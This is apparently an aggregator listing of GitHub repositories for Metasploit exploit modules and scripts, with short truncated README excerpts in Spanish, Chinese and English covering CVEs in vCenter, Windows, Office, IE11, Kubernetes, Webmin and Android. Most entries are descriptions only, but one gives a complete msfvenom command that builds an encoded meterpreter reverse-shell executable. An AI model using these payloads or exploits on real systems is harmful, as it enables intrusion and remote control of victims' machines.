CVE-2021-22005-metasploit

CVE-2021-22005-metasploit el script de metasploit POC/EXP sobre CVE-2021-22005 VMware vCenter Server contiene una vulnerabilidad de carga arbitraria de archivos preparación POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -...

pentest_teamcity

使用 Metasploit 对 TeamCity 进行渗透测试 TL;DR: 从JetBrains IDE（例如 IntelliJ 或 PyCharm）获取密码，然后在 TeamCity 持续集成服务器 中使用这些凭据，以利用 metasploit 在服务器和构建代理上获取 meterpreter 会话——作者 Kacper Szurek。 JetBrains 评论 以下是来自供应商（JetBrains TeamCity 团队）的评论，由 Yegor Yarko 提供： 本文的大部分内容描述了恶意用户如何在获得合理权限的情况下滥用 TeamCity。...

Metasploit-Attack-Report

Este repositorio no tiene un README...

flashsploit

ATtiny85 HID攻击利用框架 Twitter - Telegram - Blog 支持语言 Flashsploit 是一个针对使用 ATtiny85 HID 设备（例如 Digispark USB 开发板）进行攻击的利用框架。flashsploit 根据用户输入生成 Arduino IDE 兼容的 .ino 脚本，然后在脚本需要时在 Metasploit-Framework 中启动监听器。总结：自动脚本生成与自动化 msfconsole。 功能 TODO：添加 Linux 和 OSX 脚本 Windows...

ms08-067

📖 Resumen Este repositorio contiene una implementación de módulo de Metasploit para la vulnerabilidad del servicio de servidor de Windows MS08-067 CVE-2008-4250. Esta es una vulnerabilidad clásica de ejecución remota de código que afecta a sistemas Windows antiguos. 🛠️ Instalación y Uso Requisitos...

Metasploit-Module-TFM

Módulo Personalizado de Metasploit para CVE 2023-2728 y CVE 2024-3177 Descripción Este módulo personalizado explota CVE 2023-2728 y CVE 2024-3177 en versiones de Kubernetes que son vulnerables a cada uno de ellos por ejemplo, v1.27.2 es vulnerable a ambos, ambos relacionados con la evasión de la...

CVE-2018-8174-msf

CVE-2018-8174-msf Este es un módulo de Metasploit que crea un documento malicioso de Word para explotar CVE-2018-8174 - vulnerabilidad de corrupción de memoria en VBScript. Este módulo es un puerto muy rápido y utiliza la muestra de exploit que se encontró en la naturaleza. El exploit funciona so...

RDP_jammer

RDPjammer Exploit de CVE-2012-0152 usando metasploit y BASH SINTAXIS : Script.sh...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 Webmin 1.890-1.920 后门远程代码执行漏洞的Python实现 基于同一漏洞的Metasploit模块 EDB ID: 47230 该漏洞利用程序基本是自动化的。详细选项请参阅 ./CVE-2019-15107.py --help 警告： 本仓库中的代码仅供学术/道德目的使用。作者不认可将此漏洞利用程序用于任何其他目的——它只能用于你拥有或已获得测试授权的系统。...

WIndows-7-automated-exploitation-using-metasploit-framework-

Este repositorio no tiene un README...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Comando de una sola línea para crear/generar un payload para Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe...

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket

Explotación del Controlador de Dominio DC con Metasploit e Impacket Explotación de extremo a extremo de un controlador de dominio usando Metasploit e Impacket: descubrí DC10, exploté Zerologon CVE-2020-1472, extraje hashes NTLM, obtuve un shell SYSTEM y establecí una sesión Meterpreter. Resumen...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

Exploiting-Stagefright-Vulnerability-CVE-2015-3864 Stagefright refers to a set of software flaws in Android versions 2.2 "Froyo" through 5.1.1 "Lollipop," which affected 95% of all Android phones still. If the vulnerability is exploited, an attacker can use remote code execution and privilege...

CVE-2018-4878

Muestra de CVE-2018-4878 Fuente de la muestra: https://github.com/brianwrf/CVE-2017-4878-Samples Informe de análisis: http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html Fuente del exploit en el script de Python: https://github.com/vysec/CVE-2018-4878 cve-2018-4878.py es el script ...

Metasploit-Red-Pentest-Lab

Metasploit-Red-Pentest-Lab Laboratorio que contiene la explotación de la vulnerabilidad vsftpd 2.3.4 CVE-2011-2523 en Metasploitable 2 y los pasos posteriores a la intrusión...

CVE-2018-8174-msf

CVE-2018-8174-msf Este es un módulo de metasploit que crea un documento de Word malicioso para explotar CVE-2018-8174 - vulnerabilidad de corrupción de memoria en VBScript. Este módulo es un port muy rápido y utiliza la muestra de exploit que se encontró en la naturaleza. El exploit solo funciona...

CVE-2004-1561

Versión no Metasploit de CVE-2004-1561 Alternativa a la versión en C Desarrollado para TryHackme : Ice...

ie11_vbscript_exploit

IE11 VBScript Exploit Exploit Generator for CVE-2018-8174 & CVE-2019-0768 RCE via VBScript Execution in IE11 Prerequisite Metasploit msfvenom Usage python ie11vbscript.py Listener IP Listener Port Instruction 1. Use this script to generate "exploit.html" 2. Host the html file on your server 3...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit CVE-2021-40444 EXPLOIT PARA USAR EN METASPLOIT, PERMITE A LOS ATACANTES OBTENER UNA EJECUCIÓN REMOTA DE CÓDIGO A TRAVÉS DE MICROSOFT OFFICE WORD AL INYECTAR CÓDIGO MALICIOSO EN EL ARCHIVO...

OpenSSH-4.7p1-CVE-2008-5161-Exploit

CVE-2008-5161 OpenSSH 4.7p1 Asistente de Auditoría Automatiza la comprobación de versiones y la auditoría de credenciales de objetivos con el OpenSSH 4.7p1 heredado Debian-8ubuntu1, controlando el módulo auxiliary/scanner/ssh/sshlogin de Metasploit desde Python mediante pwntools. Este proyecto es...